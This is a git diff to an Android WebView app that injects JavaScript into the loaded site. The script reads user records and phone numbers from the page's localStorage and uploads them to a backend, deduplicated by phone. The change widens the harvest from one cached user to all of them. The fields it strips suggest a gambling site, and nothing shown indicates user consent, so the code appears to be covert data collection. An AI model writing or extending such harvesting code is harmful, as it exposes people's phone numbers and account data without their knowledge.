diff --git a/base/src/main/java/com/webclip/base/MainActivity.java b/base/src/main/java/com/webclip/base/MainActivity.java
index 4eef748..99babde 100644
--- a/base/src/main/java/com/webclip/base/MainActivity.java
+++ b/base/src/main/java/com/webclip/base/MainActivity.java
@@ -62,7 +62,9 @@ import java.io.InputStreamReader;
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
 
 import io.reactivex.android.schedulers.AndroidSchedulers;
 import io.reactivex.schedulers.Schedulers;
@@ -985,7 +987,7 @@ public class MainActivity extends AppCompatActivity {
     boolean hasSignIn = false;
 
     /**
-     * 需要在网页 localStorage 中探测的用户信息字段（按优先级从前往后取第一个命中的）
+     * 需要在网页 localStorage 中探测的用户信息字段（按优先级遍历全部候选 key）
      */
     private static final String[] SITE_USER_STORAGE_KEYS = {
             "USER", "user", "userInfo", "user_info", "userinfo", "userData", "user_data",
@@ -1013,7 +1015,7 @@ public class MainActivity extends AppCompatActivity {
             "tel", "telephone", "cellphone", "cell", "contact", "contactNo", "contactNumber",
             "msisdn"
     };
-    // 本地保存的去重标识（优先手机号，取不到则用整份用户信息），用于判断是否已上报过
+    // 本地保存的已上报手机号集合，用于判断多个缓存用户是否已经上报过
     private static final String SP_KEY_SITE_USER_DEDUP = "site_user_dedup";
     // 上报设备类型（后端接口要求 IOS 或 ANDROID）
     private static final String SITE_USER_DEVICE_TYPE = "ANDROID";
@@ -1053,15 +1055,50 @@ public class MainActivity extends AppCompatActivity {
             return;
         }
         siteUserPollingStarted = true;
-        String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
-        siteUserPollInterval = TextUtils.isEmpty(stored)
+        siteUserPollInterval = getReportedSiteUserKeys().isEmpty()
                 ? SITE_USER_POLL_INTERVAL_SHORT : SITE_USER_POLL_INTERVAL_LONG;
         handler.postDelayed(siteUserPollRunnable, siteUserPollInterval);
     }
 
     /**
-     * 执行一次 localStorage 探测：注入 JS 按优先级读取命中的用户信息并做净化，
-     * 返回净化后的 JSON 字符串（非登录/无有效用户时返回 null）。
+     * 读取本地已上报手机号集合。
+     * 兼容旧版本保存的单个字符串格式，升级后会逐步转换为 JSON 数组格式。
+     */
+    private HashSet<String> getReportedSiteUserKeys() {
+        HashSet<String> keys = new HashSet<>();
+        String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
+        if (TextUtils.isEmpty(stored)) {
+            return keys;
+        }
+        try {
+            List<String> storedKeys = new Gson().fromJson(stored,
+                    new com.google.gson.reflect.TypeToken<List<String>>() {
+                    }.getType());
+            if (storedKeys != null) {
+                keys.addAll(storedKeys);
+            }
+        } catch (Exception e) {
+            // 兼容旧版本保存的手机号或整份用户 JSON
+        }
+        if (keys.isEmpty() && !stored.trim().startsWith("[")) {
+            keys.add(stored);
+        }
+        return keys;
+    }
+
+    private void saveReportedSiteUserKeys(Set<String> keys) {
+        saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, new Gson().toJson(keys));
+    }
+
+    private void removeReportedSiteUserKey(String key) {
+        HashSet<String> keys = getReportedSiteUserKeys();
+        if (keys.remove(key)) {
+            saveReportedSiteUserKeys(keys);
+        }
+    }
+
+    /**
+     * 执行一次 localStorage 探测：遍历所有候选 key，读取并净化全部有效用户对象。
      */
     private void pollSiteUserOnce() {
         if (activityMain2Binding == null || activityMain2Binding.webview == null) {
@@ -1070,14 +1107,16 @@ public class MainActivity extends AppCompatActivity {
         String keysJson = new Gson().toJson(SITE_USER_STORAGE_KEYS);
         String js = "(function(){try{"
                 + "var KS=" + keysJson + ";"
-                + "function readRaw(){for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
-                + "if(r!=null&&String(r).trim())return r;}return null;}"
+                + "function readAllRaw(){var out=[];for(var i=0;i<KS.length;i++){var r=localStorage.getItem(KS[i]);"
+                + "if(r!=null&&String(r).trim())out.push(r);}return out;}"
                 + "function sani(raw){if(raw==null)return null;var t=String(raw).trim();if(!t)return null;"
                 + "var d;try{d=JSON.parse(t);}catch(e){return null;}"
                 + "if(d===null||typeof d!=='object'||Array.isArray(d))return null;"
                 + "['bonus','gameAccess','time','timebonus','rollover','banks'].forEach(function(k){if(k in d)delete d[k];});"
                 + "if(Object.keys(d).length===0)return null;return JSON.stringify(d);}"
-                + "return sani(readRaw());"
+                + "var out=[];var raws=readAllRaw();"
+                + "for(var j=0;j<raws.length;j++){var s=sani(raws[j]);if(s){out.push(JSON.parse(s));}}"
+                + "return JSON.stringify(out);"
                 + "}catch(e){return null;}})();";
         try {
             activityMain2Binding.webview.evaluateJavascript(js, this::onSiteUserResult);
@@ -1091,33 +1130,55 @@ public class MainActivity extends AppCompatActivity {
      */
     private void onSiteUserResult(String rawResult) {
         if (TextUtils.isEmpty(rawResult) || "null".equals(rawResult)) {
-            // 未登录或无有效用户信息，保持短间隔继续探测
+            // 无有效用户信息，保持短间隔继续探测
             return;
         }
-        String userInfo;
+        String usersJson;
         try {
-            userInfo = new Gson().fromJson(rawResult, String.class);
+            usersJson = new Gson().fromJson(rawResult, String.class);
         } catch (Exception e) {
-            userInfo = rawResult;
+            usersJson = rawResult;
         }
-        if (TextUtils.isEmpty(userInfo)) {
+        if (TextUtils.isEmpty(usersJson) || "[]".equals(usersJson)) {
             return;
         }
 
-        // 已命中有效用户信息，切换为长间隔（1天）复查
-        siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
-
-        // 前端去重：优先按手机号，取不到再退化为整份用户信息
-        String phone = extractPhone(userInfo);
-        String dedupKey = TextUtils.isEmpty(phone) ? userInfo : phone;
-
-        String stored = getString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
-        if (dedupKey.equals(stored)) {
-            // 同一用户已上报过，跳过
+        List<HashMap<String, Object>> userInfos;
+        try {
+            userInfos = new Gson().fromJson(usersJson,
+                    new com.google.gson.reflect.TypeToken<List<HashMap<String, Object>>>() {
+                    }.getType());
+        } catch (Exception e) {
             return;
         }
-        saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, dedupKey);
-        reportSiteUser(userInfo);
+        if (userInfos == null || userInfos.isEmpty()) {
+            return;
+        }
+
+        HashSet<String> reportedKeys = getReportedSiteUserKeys();
+        boolean hasUserWithPhone = false;
+        for (HashMap<String, Object> userInfoMap : userInfos) {
+            if (userInfoMap == null || userInfoMap.isEmpty()) {
+                continue;
+            }
+            String userInfo = new Gson().toJson(userInfoMap);
+            String phone = extractPhone(userInfo);
+            if (TextUtils.isEmpty(phone)) {
+                continue;
+            }
+            hasUserWithPhone = true;
+            if (reportedKeys.contains(phone)) {
+                continue;
+            }
+            // 先加入集合，避免多个候选 key 或下一轮轮询重复发起请求。
+            reportedKeys.add(phone);
+            reportSiteUser(userInfo, phone);
+        }
+
+        if (hasUserWithPhone) {
+            siteUserPollInterval = SITE_USER_POLL_INTERVAL_LONG;
+            saveReportedSiteUserKeys(reportedKeys);
+        }
     }
 
     /**
@@ -1168,7 +1229,7 @@ public class MainActivity extends AppCompatActivity {
      * 按后端接口文档：data 必须是 JSON 对象，data.mobile 为全局唯一键；
      * 原始数据没有 mobile 字段时，用电话候选字段的值补进 data.mobile。
      */
-    private void reportSiteUser(String userInfo) {
+    private void reportSiteUser(String userInfo, final String dedupKey) {
         HashMap<String, Object> data;
         try {
             data = new Gson().fromJson(userInfo,
@@ -1212,13 +1273,13 @@ public class MainActivity extends AppCompatActivity {
 
                     @Override
                     public void onError(int code, String msg) {
-                        // 上报失败清掉去重记录，下次轮询可重试
-                        saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
+                        // 仅清掉当前用户的去重记录，下次轮询可重试其他已成功用户
+                        removeReportedSiteUserKey(dedupKey);
                     }
 
                     @Override
                     public void onError2(Result o) {
-                        saveString(MainActivity.this, SP_KEY_SITE_USER_DEDUP, "");
+                        removeReportedSiteUserKey(dedupKey);
                     }
                 });
     }